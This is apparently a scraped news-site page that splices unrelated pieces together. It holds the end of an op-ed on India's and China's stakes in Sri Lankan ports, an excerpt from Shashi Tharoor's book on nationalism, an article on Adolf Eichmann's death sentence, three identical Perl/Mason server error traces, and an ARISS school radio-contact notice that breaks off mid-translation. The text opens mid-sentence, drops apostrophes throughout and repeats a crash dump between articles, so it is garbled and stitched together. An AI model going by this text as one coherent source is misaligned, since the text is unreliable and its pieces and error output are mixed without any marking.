exchange crisis. A spat with China, its main benefactor, over fertiliser quality came just as India began casting its anchor in Sri Lankas ports investment after losing out on the Eastern Container Terminal (ECT) in Colombo Port and facing opposition on its lease of oil tank farms in Trincomalee harbour. On Monday, President Gotabaya Rajapaksa prorogued Parliament till January 18, and suddenly left for Singapore for a health check-up. Earlier, he had declared a national food emergency to check soaring food prices and prevent hoarding of essentials at a time when tea and garment industries were hit by the pandemic. The economy has also been affected due to low receipts from tourism and remittances, two main foreign exchange earners. Finance Minister Basil Rajapaksa said that deteriorating reserves position has prompted the S&P Global Ratings to cut Sri Lankas October ratings outlook to negative. He called the outlook gloomy. It triggered doubts that Colombo will not be able to service its $1.5 bn debt due next year as well as speculation that it may have to go to the IMF for help. Basil Rajapaksa was in India last month and India promised a financial package; of course, whether it staves off a sovereign default when bond repayments are due in Q122 remains to be seen. For India, the silver lining in the clouds is the recent visits of Foreign Secretary Harsh Vardhan Shringla and Army Chief MM Naravane and opening of Kushinagar airport for Buddhist tourism where Namal Rajapaksa (PMs son) was the chief guest. The meeting between President Rajapaksa and Adani Group chairman Gautam Adani materialised days after his company inked a deal with Sri Lanka Port Authority and Sri Lankan company John Keells to develop the Western Container Terminal (WCT) on BOT (Build Own Transfer) basis. The $700mn WCT deal will be the largest foreign investment ever in Sri Lankas ports sector. The trilateral venture will give Adanis a 51 per cent share while Keells and the SLPA will obtain 34 per cent and 15 per cent, respectively. In 2019, the contract to build the ECT awarded to India, Japan and the SLPA was unilaterally dropped by Colombo due to pressure from trade unions and probably China, too. It was a jolt to Indias standing and image. The WCT is right next to the China International Container Terminal (CICT) and will provide a valuable vantage point for India inside a facility developed by China. The WCT is the biggest of the three terminals and can accommodate the biggest container cargo ships. Sixty per cent of Indias container traffic transits through Colombo as India has no deep harbour port. The WCT will give India a strategic perch in Colombo harbour, enabling it to keep an eye on China. It will become the transhipment hub for Indian containers the bulk breaking point. Colombo knows that Adani Group is building a deep water port at Vizhinjam in Kerala as an alternative to the Colombo Port but has been facing serious trade union problems. Sri Lanka sees Vizhinjam as a threat to its monopoly over handling large cargo containers that berth in Colombo. Once built, the WCT will cut costs of goods transported through cargo containers from India to the West by 15 to 20 per cent. In the port and harbour contest, China has a 99-year lease on Hambantota port overlooking the strategic sea lines of communication between Channels 8 and 9. It has its footprint in CICT as well. India is embedded in Trincomalee harbour and now WCT. In Jaffna to the north, the port, though fully developed by India, has no long-term agreement on its use as yet. Sri Lanka has assured India that it will not allow any activity that will harm Indias security interests in a policy articulated by Foreign Secretary Jayanth Colombage called India First. How first is first is yet to be tested. The only other country that follows India First is Maldives. President Rajapaksa, an army Colonel, has sought his own Gajaba Regiments affiliation with Indian Armys 4/5 Gorkha Rifles (FF), famously the Sylhet Warriors. India has made clear through visits by Foreign Minister S Jaishankar and Shringla that it considers the reconciliation process vital for power-sharing and full implementation of 13 A by holding Provincial Council elections which are due early next year. The Rajapaksa regime has drafted a new Constitution, its third after 1972 and 1978 which could threaten 13A. Colombos congenital habit of playing China against India is harming India-Lanka relations, The new Sri Lankan High Commissioner in India, Milinda Moragoda, has come up with the Integrated Country Strategy to ensure no surprises, like cancellation of ECT. Beijing has blacklisted the Peoples Bank of Sri Lanka for withholding payment to a Chinese company for organic fertiliser which tested contaminated. While China has threatened Sri Lanka, India promptly dispatched a shipment of approved fertilisers. What China can do, India can sometimes do better. New Delhi is gradually reclaiming its ground in Sri Lanka. (The writer, a retired Major General, was Commander, IPKF South, Sri Lanka, and founder member of the Defence Planning Staff, currently the Integrated Defence Staff. The views expressed are personal.) Excerpts from the book, The Struggle for Indias Soul: Nationalism and the Fate of Democracy by the author published by by Shashi Tharoor Few concepts have gone through as many transformations of connotation as nationalism. The word itself, in English, goes back in common usage only to 1844, though it is argued that the proposition that the English people were a nation dawned with the Tudors in the late 15th century. In ancient Rome, the word nationnatioactually meant litter, as in a cats progeny, and referred to foreigners and migrants who were deemed sub-human by Roman citizens, but the term gradually lost its implications of contempt and began to refer to a community of shared opinion.1 The Latin roots natio and natus (both come from nascor or I am born, whose perfect form is natus sum, I have been born) point to the fact that to the ancient Romans, natio was merely a group of people who were associated by birth conditionstypically of a larger tribe, or a confederacy bestowed by blood, but of those who were not worthy of being deemed Roman citizens. Interestingly, a natio had a specific size dimension to it. Natio was larger than a family, but smaller than a clan (stirps) and smaller than a people (gens). Cicero talks of Jews and Syrians as nationes natae servituti (people born to servitude). Nation began to be used in the mid-19th century as a synonym for devotion to ones country, for advocating its national spirit or aspirations, but in the days of vast empiresthe British, the French, the Ottoman, the Austro-Hungarianthis was not necessarily a reputable sentiment, since to be a nationalist was to be against the empire of which ones nation was a part. Nationalism rested on an expressed desire for national unity and independence, and this could only be achieved by extracting ones nation from the imperium; not surprisingly, nationalism was looked askance at by the prevailing orthodoxy of the age. There were important differences, though, between the Ottoman and Austro-Hungarian Empires, on the one hand, that were consciously multi-ethnic, and the British and the French, who were explicitly developing nationalist models and ideologies at home while imposing their imperiums abroad. Little African and Asian children in Senegal or Vietnam were taught by the French Empire to dutifully recite Nos ancetres les Gaulois, Our ancestors the Gauls. Assimilation was the name of the imperial game, and it worked both ways; Queen Victoria was, after all, Empress of India. But these were for public consumption; the reality, for a colonial subject, was of racial separation and racial hierarchy. Historically, the French and American revolutions in the late 18th century were the first to challenge the nation-eroding sweep of the mighty empires that had hitherto been imagined to be the acme of political organization. (The Haitian revolution followed soon after, at the start of the nineteenth century.) While the Americans unseated the British empire that was still in the process of establishing itself around the world, the French defenestrated their own king, challenging the very notion of divine right that had legitimized monarchy and its territorial ambitions. After a few years of floundering as a collection of colonies united only by their determination to be rid of British rule, the Americans inaugurated a new idea of nationhood born of a unified people with common political and economic interests, under a system combining democracy with capitalism. Modern-day nationalism was born. Both these revolutions inspired the emergence of nationalism as a worldwide phenomenon in the mid-19th century, starting with the ideas of German Romanticism, the ferment of the revolutions of 1848, the reunification of Italy by Garibaldi, Cavour and Mazzini, and of Germany by Bismarck, and taking in the new countries of Latin America along the way. These featured the familiar elements of peoples attachment to their native land and soil, the traditional cultural heritage inherited from their parents, and allegiance to the established authorities ruling their homelands, and converted them into a newly-defined loyalty to a nation-state. (Interestingly enough, the attempts by arch-conservatives like Metternich to suppress nationalisms where they arose point to an important historical irony: that modern liberalism was unthinkable without nationalism.) It was only with the First World War, and the collapse of two large empires in Europe, the Ottoman and the Austro-Hungarian, that nationalism became seen as a broadly admirable concept, standing heroically for the freedom, self-determination, independence, unity and prosperity of subject peoples. A number of newly-free nations were spawned in Europe in this heady burst of nationalist fervour. The idea of nationalism was given a renewed fillip and universal applicability after the Second World War, with the freedom of a large number of hitherto colonized countries in the so-called Third World, whose liberation from subjugation under the imperialist yoke marked the second heyday of nationalism, this time of the anti-colonial variety. But the failures and limitations of many of the nation-states born in the twentieth century, and the descent of several into chaos, corruption and dictatorship (and in a few cases, their own internal conflicts over nationality and nationalistic disputes over territory with neighbouring countries, leading to violence, civil war and even fragmentation), made nationalism less heroic in many eyes by the last quarter of the century. The concept seemed a veneer, a cloak to mask venality, tyranny and exploitation under the garb of self-determination. And the emergence of globalization after 1980 created a world in which nationalism also seemed less necessary, an impediment even, in the march of prosperity made possible by the satellite communications revolution, jet travel, the ease of moving millions across the world with the pulse of a cursor or the click of a mouse. In the globalized world, nationalism seemed somehow less important at a time when nations were giving up more and more of their sovereignty to achieve greater prosperity. The profound disillusionment with nationalismthe doctrine, after all, of the likes of Hitler and Mussoliniat the end of the Second World War may have helped created the great age of globalism that reached its apogee in the three decades after 1980. Certainly nationalism, after ripping apart Europe for half a century, lost some of its appeal, and prompted the establishment of international economic, military, and political organizations such as NATO, the European Coal and Steel Community (19522002), Euratom, the Common Market, later known as the European Economic Community, and finally the European Union, which began to acquire some of the trappings of a supranational entity. Writers like Francis Fukuyama advanced the idea at the end of the Cold War that conflict would no longer be driven by the competition of great powers and nations: the end of history meant that the fundamental issues had been settled. It was possible to speak of subsuming nationalism in a larger internationalist project: even the reunification of Germany in 1990 was welcomed by those who had previously feared German unity, because German nationalism had been tamed by its subordination to the European project. The dissolution of the nation-state may not have seemed in prospect, but its dilution certainly was. The setbacks endured by the globalization experiment with the recession of 200809, followed by the rise of ethno-nationalist populism in a startling number of countries in the second decade of the 21st century, has given nationalism another burst of relevance. There were two precursors to this development: the advent and spread of neo-liberalism, and the backlash in developed countries to globalization. The former saw the dominance, in the worlds macro-economic thinking, of what became known as the Washington Consensus, whose custodians were not just the governments of the US and its allies but also international organizations such as the World Bank, the International Monetary Fund, and the World Trade Organization. The latter, the backlash against globalization, reflected the crumbling of that consensus at its very source. The doctrine of neoliberalism is commonly attributed to the economist Friedrich von Hayek, hailed by Margaret Thatcher and Ronald Reagan as their inspiration, whose impact on economic policy in the era of globalization, thanks also to the dissemination of his ideas by acolytes like Milton Friedman, was immense. Hayeks was a philosophy that went beyond economics, for he conceived of society itself, in the British writer Stephen Metcalfs brilliant summary, as a kind of universal market (and not, for example, a polis, a civil sphere or a kind of family) and of human beings as profit-and-loss calculators (and not bearers of grace, or of inalienable rights and duties). [Hayeks neoliberalism] was a way of reordering social reality, and of rethinking our status as individuals.3 Hayek constructed neoliberalism as sufficient unto itself: the deregulated market would function as the over-arching mind that would govern and direct all human affairs, protecting individuals against the excesses of governments, whose only job was to keep the market free. Individuals would of course act in their economic self-interest, but the product of their choices would lead to better results than governments could craft through policy interventions. Rampant economic growth and what was dubbed (by Alan Greenspan) as the irrational exuberance of the 1990s, especially after the fall of the Soviet Union and the collapse of the Berlin Wall, led the world into a period of widespread financial deregulation and privatization, expanding free trade, the creation of businesses whose supply-chains cut across many countries, and a worldwide illusion of rising prosperity. Neoliberalism came into its own, privileging a heady cocktail of free-market policies, including deregulating capital markets, lowering trade barriers, eliminating price controls, establishing global supply chains, rampant privatization, and the reduction or abandonment of state welfare for the poor, often accompanied by austerity measures to bring fiscal policies in line with what Western ratings agencies wanted to see. But the seeming success of economic globalization also facilitated the illusion of the end of history (seen as the ultimate triumph of liberal democracy and capitalism), the heedless and hubristic military adventurism of the global war on terror, including disastrously unsuccessful wars in Afghanistan, Iraq and Syria, which displaced nearly 20 million people (among the largest refugee crises in modern history), all of which in turn led to the market crash, and an unprecedented level of inequality and suffering among the working-class of the developed world. The top 1% of the global population came to own half the worlds wealth, while the bottom 70% had less than 3%. With the Great Recession that began in 200809 and political convulsions in a number of countries, what Metcalf calls the militant parochialism of Brexit Britain and Trumpist America4 was the result, as was rising ethno-nationalism, populist authoritarianism, and illiberal democracy in a slew of countries. As Metcalf puts it, There was, from the beginning, an inevitable relationship between the utopian ideal of the free market and the dystopian present in which we find ourselves; between the market as unique discloser of value and guardian of liberty, and our current descent into post-truth and illiberalism. As the writer Tyler Stiem explains, the problem was that neoliberalisms pretensions of universalism and over-idealization of the market ignored the deep inequality that existed between and within nations: Applied as a broad, one-size-fits-all solution to the challenges facing impoverished and traumatised post-Soviet and postcolonial nations (as well as increasingly multicultural countries in the west, with complicated histories of their own), neoliberalism couldnt help but be disastrous for many people. In June 2016, three economists in the IMFs Research Department officially and openly questioned neo-liberalism in a prominent paper. While praising aspects of the neoliberal agendathe poverty alleviation made possible by the expansion of global trade, the transfer of technology to developing economies and the more efficient provision of services resulting from the privatization of state-owned enterprisesthe authors concluded that the benefits of increased growth seem fairly difficult to establish, that inequality increased as a result of neoliberal policies, and that this in turn hurt the level and sustainability of growth. Interesting recent research by Quinn Slobodian argues that neoliberals used states and global institutionsthe United Nations, the European Court of Justice, the World Trade Organization, and international investment lawto insulate financial markets against sovereign states, resist political change, and stave off turbulent democratic demands for greater equality and social justice.8 Far from discarding the regulatory state, Slobodian says, neoliberals wanted to harness it to their grand project of protecting capitalism on a global scale. It was a project, he suggests, that changed the world, but that was also undermined time and again by the inequality, unrelenting change, and social injustice that accompanied it. A backlash was inevitable. Click here to order a copy of this book Shashi Tharoor, 2021 Shashi Tharoor is a former UN under-secretary-general, a Congress MP in India, the author of twenty-three books, and the recipient of literary awards including a Commonwealth Writers' Prize. His Inglorious Empire: What the British Did to India was a Sunday Times bestseller and a Financial Times Book of the Year. Eichmann listened impassively as he was sentenced to death by hanging, then removed his headphones and was led away. by Henry Getley Sixty years ago today, Adolf Eichmann was brought into the dock of an Israeli courtroom to hear his fate. Flanked by two guards, enclosed behind bulletproof glass, the German dubbed the architect of the Final Solution put on headphones through which a translator relayed the words of the Hebrew-speaking judge. Eichmann listened impassively as he was sentenced to death by hanging, then removed his headphones and was led away. Three days earlier, on December 12, 1961, the balding, bespectacled 55-year-old had been found guilty of war crimes, crimes against humanity, crimes against the Jewish people and membership of a criminal organisation. As an SS lieutenant-colonel in Nazi Germany during the Second World War, Eichmann was head of the Reich Security Main Offices Department of Jewish Affairs a pivotal figure in arranging the deportation of millions of Jews to ghettoes and death camps in Eastern Europe. He prepared the ground for, and attended, the infamous Wannsee Conference of senior Nazis in Berlin in January 1942, where plans were agreed for the extermination programme. Then, with ruthless efficiency and attention to detail, Eichmann organised the machinery of industrialised mass murder. After the defeat of the Third Reich in 1945, he escaped from custody and went into hiding in various places in Germany. Then in 1950, with the help of an organisation led by a Catholic bishop, he made his way to Argentina. Eichmanns wife and sons joined him in 1952 and, using a false identity, he found work at a Mercedes-Benz plant in Buenos Aires, later building his family a house. But the Israeli secret service Mossad learned of his whereabouts and on May 11, 1960, its agents abducted him outside his home and flew him to Israel to face justice. Eichmanns trial, which was televised worldwide, started on April 11, 1961, before a special tribunal of the Jerusalem District Court overseen by three judges. In his testimony, he did not deny the Holocaust, or his role in organising it, but tried to give the impression that he had merely been a disinterested, deskbound bureaucrat who was just following orders. Like the senior Nazis during the 1946 Nuremberg Trials, he claimed he was bound to carry out the instructions of his superiors, having taken an oath of loyalty to Adolf Hitler. But the judges concluded that, far from being a clerkish, faceless functionary, Eichmann was a fervent, Jew-hating ideologue, a key player who had enthusiastically embraced his evil task of enabling genocide. After the death sentence, Eichmann persisted in claiming his innocence. There is a need to draw a line between the leaders responsible and the people like me forced to serve as mere instruments in the hands of the leaders, he wrote in a letter asking for clemency. I was not a responsible leader, and as such do not feel myself guilty. Around midnight on May 31, 1962, Eichmann was hanged at a prison near Tel Aviv. It was only the second use of the death penalty in Israel since the founding of the state in 1948, and remains so today. His last words were said to have been: Long live Germany. Long live Argentina. Long live Austria. These are the three countries with which I have been most connected and which I will not forget. I greet my wife, my family and my friends. I am ready. Well meet again soon, as is the fate of all men. I die believing in God. However, in 2014, a different version of Eichmanns final moments emerged which exposed something more sinister behind his mask of blandness. Rafi Eitan, one of the Mossad agents who had abucted him, attended the execution. He said that as Eichmann went to the gallows, he heard him say: I hope that all of you will follow me. Eichmanns body was cremated hours after his execution and his ashes were scattered into the sea outside Israels territorial limits. Later that year, controversy arose over a book by the noted political philosopher and writer Hannah Arendt, who had covered the trial for The New Yorker magazine. Entitled Eichmann in Jerusalem: A Report on the Banality of Evil, it outlined her observations and conclusions about the proceedings. Arendt, a German-born Jew who had escaped to America from Nazi-occupied France in 1941, had no sympathy for Eichmann. But she was trying to fathom how an apparently mundane and commonplace individual was capable of such heinous crimes. Her description of Eichmann as terribly and terrifyingly normal, and her assertion that he performed evil deeds without evil intentions brought bitter condemnation from many quarters. The phrase the banality of evil was seized upon by critics. Was she saying evil was banal, or that the processes the Nazis used to commit evil were banal? The debate over it continues to this day. Also thrown into focus by the Eichmann trial, 15 years after the issue arose at Nuremberg, was the question of ultimate responsibility for a persons actions. Basically, in a chain of command, where does the buck stop? If the Nazis defence of superior orders was taken to its logical conclusion, only one man was guilty their leader, Hitler. Everyone else below him was shorn of responsibility, because they were doing only what they had been told. At Nuremberg, that argument was rejected. The judges said when an individual follows an order that is illegal under international law, he is responsible for that choice. They accepted that a person might perform an evil deed if he was threatened with death. But they said there was no evidence of the Nazis ever killing one of their number for refusing to take part in Holocaust actions. Mercifully, we are now more than 75 years away from the unspeakable evil of the Nazis. But on an entirely different plane, the question of corporate and individual responsibility and accountability still occasionally troubles society. Two of the best-known examples are the 1966 Aberfan disaster and the Hillsborough disaster of 1989, where blunders that led to tragedy ultimately went unpunished. And in the aftermath of other civil and criminal cases, we have often seen the headline: Is no one to blame? System error error: Can't call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25. context: ... 21: 22: 23: % foreach my $c (@categories) { 24: <%perl> 25: my $category_id = $c->get_id(); 26: my @stories = Bric::Biz::Asset::Business::Story->list ( { element_type_id=>1148, category_id=>$category_id , Order=> 'cover_date', publish_status => 't' , OrderDirection=> 'DESC' , Limit=>10 } ); 27: 28: 29: ... code stack: /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html:25 /usr/share/perl5/HTML/Mason/Request.pm:951 /var/cache/mason/obj/1784076917/main/smetimes/dhandler.html.obj:17 /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/autohandler_template.html:149 Can't call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25. Trace begun at /usr/share/perl5/HTML/Mason/Exceptions.pm line 129 HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25.^J') called at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 160 HTML::Mason::Component::run_dynamic_sub('HTML::Mason::Component::FileBased=HASH(0x7f3ff30f34d0)', 'main') called at /usr/share/perl5/HTML/Mason/Request.pm line 951 HTML::Mason::Request::call_dynamic('HTML::Mason::Request::ApacheHandler=HASH(0x7f3ff3179290)', 'main') called at /var/cache/mason/obj/1784076917/main/smetimes/dhandler.html.obj line 17 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 138 HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x7f3ff30f34d0)') called at /usr/share/perl5/HTML/Mason/Request.pm line 1305 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 1295 HTML::Mason::Request::comp(undef, undef, undef) called at /usr/share/perl5/HTML/Mason/Request.pm line 958 HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0x7f3ff3179290)') called at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/autohandler_template.html line 149 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 138 HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x7f3ff30cfde0)') called at /usr/share/perl5/HTML/Mason/Request.pm line 1303 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 1295 HTML::Mason::Request::comp(undef, undef, undef) called at /usr/share/perl5/HTML/Mason/Request.pm line 484 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 484 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 436 HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0x7f3ff3179290)') called at /usr/share/perl5/HTML/Mason/ApacheHandler.pm line 165 HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0x7f3ff3179290)') called at /usr/share/perl5/HTML/Mason/ApacheHandler.pm line 831 HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0x7f3ff27367a8)', 'Apache2::RequestRec=SCALAR(0x7f3ff3100940)') called at (eval 487) line 8 HTML::Mason::ApacheHandler::handler('HTML::Mason::ApacheHandler', 'Apache2::RequestRec=SCALAR(0x7f3ff3100940)') called at -e line 0 eval {...} at -e line 0 System error error: Can't call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25. context: ... 21: 22: 23: % foreach my $c (@categories) { 24: <%perl> 25: my $category_id = $c->get_id(); 26: my @stories = Bric::Biz::Asset::Business::Story->list ( { element_type_id=>1148, category_id=>$category_id , Order=> 'cover_date', publish_status => 't' , OrderDirection=> 'DESC' , Limit=>10 } ); 27: 28:
29: ... code stack: /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html:25 /usr/share/perl5/HTML/Mason/Request.pm:951 /var/cache/mason/obj/1784076917/main/smetimes/dhandler.html.obj:17 /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/autohandler_template.html:149 Can't call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25. Trace begun at /usr/share/perl5/HTML/Mason/Exceptions.pm line 129 HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25.^J') called at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 160 HTML::Mason::Component::run_dynamic_sub('HTML::Mason::Component::FileBased=HASH(0x7f3ff676bce8)', 'main') called at /usr/share/perl5/HTML/Mason/Request.pm line 951 HTML::Mason::Request::call_dynamic('HTML::Mason::Request::ApacheHandler=HASH(0x7f3ff2cb05d0)', 'main') called at /var/cache/mason/obj/1784076917/main/smetimes/dhandler.html.obj line 17 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 138 HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x7f3ff676bce8)') called at /usr/share/perl5/HTML/Mason/Request.pm line 1305 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 1295 HTML::Mason::Request::comp(undef, undef, undef) called at /usr/share/perl5/HTML/Mason/Request.pm line 958 HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0x7f3ff2cb05d0)') called at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/autohandler_template.html line 149 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 138 HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x7f3ff59aaf50)') called at /usr/share/perl5/HTML/Mason/Request.pm line 1303 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 1295 HTML::Mason::Request::comp(undef, undef, undef) called at /usr/share/perl5/HTML/Mason/Request.pm line 484 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 484 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 436 HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0x7f3ff2cb05d0)') called at /usr/share/perl5/HTML/Mason/ApacheHandler.pm line 165 HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0x7f3ff2cb05d0)') called at /usr/share/perl5/HTML/Mason/ApacheHandler.pm line 831 HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0x7f3ff2735b50)', 'Apache2::RequestRec=SCALAR(0x7f3ff3396020)') called at (eval 487) line 8 HTML::Mason::ApacheHandler::handler('HTML::Mason::ApacheHandler', 'Apache2::RequestRec=SCALAR(0x7f3ff3396020)') called at -e line 0 eval {...} at -e line 0 System error error: Can't call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25. context: ... 21: 22: 23: % foreach my $c (@categories) { 24: <%perl> 25: my $category_id = $c->get_id(); 26: my @stories = Bric::Biz::Asset::Business::Story->list ( { element_type_id=>1148, category_id=>$category_id , Order=> 'cover_date', publish_status => 't' , OrderDirection=> 'DESC' , Limit=>10 } ); 27: 28:
29: ... code stack: /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html:25 /usr/share/perl5/HTML/Mason/Request.pm:951 /var/cache/mason/obj/1784076917/main/smetimes/dhandler.html.obj:17 /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/autohandler_template.html:149 Can't call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25. Trace begun at /usr/share/perl5/HTML/Mason/Exceptions.pm line 129 HTML::Mason::Exceptions::rethrow_exception('Can\'t call method "get_id" on an undefined value at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25.^J') called at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/dhandler.html line 25 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 160 HTML::Mason::Component::run_dynamic_sub('HTML::Mason::Component::FileBased=HASH(0x7f3ff2c0b088)', 'main') called at /usr/share/perl5/HTML/Mason/Request.pm line 951 HTML::Mason::Request::call_dynamic('HTML::Mason::Request::ApacheHandler=HASH(0x7f3ff31aed78)', 'main') called at /var/cache/mason/obj/1784076917/main/smetimes/dhandler.html.obj line 17 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 138 HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x7f3ff2c0b088)') called at /usr/share/perl5/HTML/Mason/Request.pm line 1305 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 1295 HTML::Mason::Request::comp(undef, undef, undef) called at /usr/share/perl5/HTML/Mason/Request.pm line 958 HTML::Mason::Request::call_next('HTML::Mason::Request::ApacheHandler=HASH(0x7f3ff31aed78)') called at /usr/local/bricolage/data/burn/stage/oc_1027/smetimes/autohandler_template.html line 149 HTML::Mason::Commands::__ANON__ at /usr/share/perl5/HTML/Mason/Component.pm line 138 HTML::Mason::Component::run('HTML::Mason::Component::FileBased=HASH(0x7f3ff2c5b6e8)') called at /usr/share/perl5/HTML/Mason/Request.pm line 1303 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 1295 HTML::Mason::Request::comp(undef, undef, undef) called at /usr/share/perl5/HTML/Mason/Request.pm line 484 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 484 eval {...} at /usr/share/perl5/HTML/Mason/Request.pm line 436 HTML::Mason::Request::exec('HTML::Mason::Request::ApacheHandler=HASH(0x7f3ff31aed78)') called at /usr/share/perl5/HTML/Mason/ApacheHandler.pm line 165 HTML::Mason::Request::ApacheHandler::exec('HTML::Mason::Request::ApacheHandler=HASH(0x7f3ff31aed78)') called at /usr/share/perl5/HTML/Mason/ApacheHandler.pm line 831 HTML::Mason::ApacheHandler::handle_request('HTML::Mason::ApacheHandler=HASH(0x7f3ff2736748)', 'Apache2::RequestRec=SCALAR(0x7f3ff30944f8)') called at (eval 487) line 8 HTML::Mason::ApacheHandler::handler('HTML::Mason::ApacheHandler', 'Apache2::RequestRec=SCALAR(0x7f3ff30944f8)') called at -e line 0 eval {...} at -e line 0 ARISS contact is scheduled for students at Technisches Bildungszentrum Mitte, Bremen, Germany and Carl Prueter Oberschule, Sulingen, Germany Amateur Radio on the International Space Station (ARISS) has received schedule confirmation for an ARISS radio contact with astronauts. ARISS is the group that puts together special amateur radio contacts between students around the globe and crew members with ham radio licenses on the International Space Station (ISS). This will be a direct contact via amateur radio between students at two schools in Germany and Astronaut Matthias Maurer, amateur radio call sign KI5KFH. Students will take turns asking their questions. Local Covid-19 protocols are adhered to as applicable for each ARISS contact. The downlink frequency for this contact is 145.800 MHZ and may be heard by listeners that are within the ISS-footprint that also encompasses the radio relay ground station. Amateur radio operators at two separate amateur radio ground stations will use the callsigns, DN3HB in Bremen, Germany and DN6OE in Sulingen, Germany for this contact. The ARISS radio contact is scheduled for December 16, 2021 at 11:45 am CET (Germany), 10:45 UTC, 5:45 am EST, 4:45 am CST, 3:45 am MST and 2:45 am PST). Technisches Bildungszentrum Mitte (TBZ Mitte) offers students (ages 14 to 22) programs designed to prepare students for university and university in applied science. TBZ Mitte also provides a part-time, dual technical vocational education and training program for high school and college levels. TBZ Mitte is STEM-certified with high school students enrolled in one of their technical vocational subjects that include Information Technology, Mechatronics, Aerospace, Engineering, or Technology and management. For this ARISS contact, students have built essential parts of the schools amateur radio station that will be part of a permanent radio station for future use by the students. The areas local amateur radio club will be supporting the school during this contact. Carl-Pruter-Oberschule Sulingen is a secondary school (about 400 student ages 11 to 18). The school offers technical (electronics), environment and amateur radio-oriented study groups. The schools amateur radio station (club callsign DL0CPS) involves students in grades 7 9 and will be supporting the contact in addition to the areas local amateur radio club. Separate live streams are planned from each school. The public is invited to watch the live streaming as follows: From Bremen: Technisches Bildungszentrum Mitte - Bremen DN3HB: https://funkfreun.de/tbz and https://www.youtube.com/c/Hackerspace-bremenDe From: Sulingen: https://www.youtube.com/watch?v=ES2CxsRCv5A As time allows, students will ask these questions: 1. Warum forschen Sie bestimmte Dinge im Weltraum und nicht (nur) auf der Erde? 2. Wie lange dauert es, sich an die Schwerelosigkeit zu gewohnen? 3. Wie hat die Familie reagiert, als sie erfahren hat, dass sie zur ISS fliegen? 4. Wie finden Sie kleine Locher oder Risse in der Auenwand? 5. Welcher Gerauschpegel herrscht auf der ISS? 6. Wie entsorgen sie ihren Mull? 7. Welche (rechtlichen) Gesetze gelten auf der ISS? 8. Sind die Simulationen zur Vorbereitung auf der Erde mit der tatsachlichen Mission zu vergleichen? 9. Hat man auf der ISS Handynetzversorgung? 10. Was war die erste bemerkbare Veranderung im Weltall? 11. Wie werden Streitigkeiten in der ISS-Besatzung geschlichtet? 12. Mussten sie bei dem Flug zu der ISS eingreifen? 13. Wieviel Freizeit haben Sie fur sich personlich? 14. Schmeckt das Essen anders? 15. Sehen Mond und Sterne von der ISS aus anders aus als von der Erde? 16. Was war bisher ihre spannendste Aufgabe? 17. Ist die Beziehung zwischen den ISS-Teammitgliedern nur arbeitsbezogen oder gibt es Freundschaften? 18. Was wurden sie einem Schuler raten, der sich vorstellen kann Astronaut zu werden? 19. Wie riecht es auf der ISS? 20. Welche personlichen Gegenstande haben sie mitgefuhrt? Translation 1. Why do you research certain things in space and not (only) on Earth? 2. How 